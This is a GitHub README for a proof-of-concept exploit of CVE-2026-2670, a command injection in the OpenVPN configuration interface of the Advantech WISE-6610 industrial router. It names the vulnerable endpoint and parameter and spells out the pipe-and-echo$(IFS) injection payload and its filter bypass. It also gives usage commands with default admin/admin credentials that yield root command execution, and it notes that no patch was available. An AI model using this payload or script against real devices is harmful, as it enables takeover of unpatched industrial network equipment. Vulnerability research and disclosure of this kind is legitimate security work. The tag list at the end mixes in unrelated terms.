ali-py3/exploit-CVE-2026-2670
GitHub: ali-py3/exploit-CVE-2026-2670
针对 Advantech WISE-6610 工业路由器 OpenVPN 配置接口命令注入漏洞的认证后利用脚本,支持任意 root 权限命令执行。
Stars: 0 | Forks: 0
# exploit-CVE-2026-2670
## CVE-2026-2670 – Advantech WISE-6610 命令注入 PoC
针对 **Advantech WISE-6610** 工业蜂窝路由器中命令注入漏洞的概念验证 exploit。
该漏洞存在于 `/cgi-bin/luci/admin/openvpn_apply` 端点,允许**经过认证的攻击者**执行任意系统命令。
## 📌 漏洞概述
WISE-6610 Web 界面在处理 OpenVPN 配置删除时,未正确清理 `delete_file` 参数。
拥有有效凭据的攻击者可以使用管道符 (`|`) 后跟命令,并以 `echo$(IFS)` 序列结尾来绕过输入过滤,从而注入 shell 命令。
注入的命令以 **root 权限** 执行。
- **CVE ID:** CVE-2026-2670
- **供应商:** Advantech
- **产品:** WISE-6610
- **修复版本:** PoC 发布时尚不可用
## ⚙️ 环境要求
- Python 3.6+
- `requests` 库
安装依赖:
```
pip install requests
```
## 🔧 选项
选项 描述
```
--target Base URL of the device (e.g., http://192.168.1.100:8444)
--cmd Command to execute. Must write output to a file inside the web root (e.g., id > output.txt)
--output Web path to the output file (e.g., /output.txt). Must match filename used in --cmd
--cookie (Optional) Existing sysauth session cookie value
--username (Optional) Username for login
--password (Optional) Password for login
--delay Seconds to wait before retrieving output (default: 2)
--debug Enable detailed request/response logging
```
## 🚀 使用方法
该脚本支持两种认证方式:
提供现有的 sysauth 会话 cookie
使用用户名和密码登录
基本语法
```
python3 exploit.py --target --cmd --output \
[--cookie | --username --password ] \
[--delay ] [--debug]
```
## 🧪 示例
1️⃣ 使用预认证 Cookie
```
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
```
2️⃣ 使用凭据登录
```
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
```
3️⃣ 带调试输出
```
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
```
## 🔍 工作原理
#### 1. 获取 Nonce
```
A GET request is sent to /cgi-bin/luci/ to obtain the luci_nonce cookie required for authentication.
```
#### 2. 认证
```
If credentials are provided, the script sends a POST request to /cgi-bin/luci/ with luci_username and luci_password to obtain a sysauth cookie.
```
如果通过 --cookie 提供了有效 cookie,则跳过此步骤。
#### 3. 命令注入
```
A POST request is sent to:
/cgi-bin/luci/admin/openvpn_apply
With the following parameters:
act=delete
delete_file=123123| echo$(IFS)
openvpn_id=1
The echo$(IFS) sequence helps terminate the injected command and bypass input filters.
```
#### 4. 获取输出
```
After a short delay, the script attempts to retrieve the generated file from the specified --output path.
```
## ⚠️ 免责声明
本工具仅供教育目的和经授权的安全测试使用。
未经授权对您不拥有或未获得明确测试许可的系统使用本工具是非法的。
作者对因滥用本软件或其造成的损害不承担任何责任。
标签:Advantech, CISA项目, CVE-2026-2670, IoT安全, Maven, OpenVPN, PKINIT, PoC, Python, RCE, Root权限, Shell注入, Web报告查看器, WISE-6610, 命令注入, 工控安全, 无后门, 暴力破解, 漏洞验证, 编程工具, 网络安全, 认证后漏洞, 路由器安全, 远程代码执行, 隐私保护, 验证脚本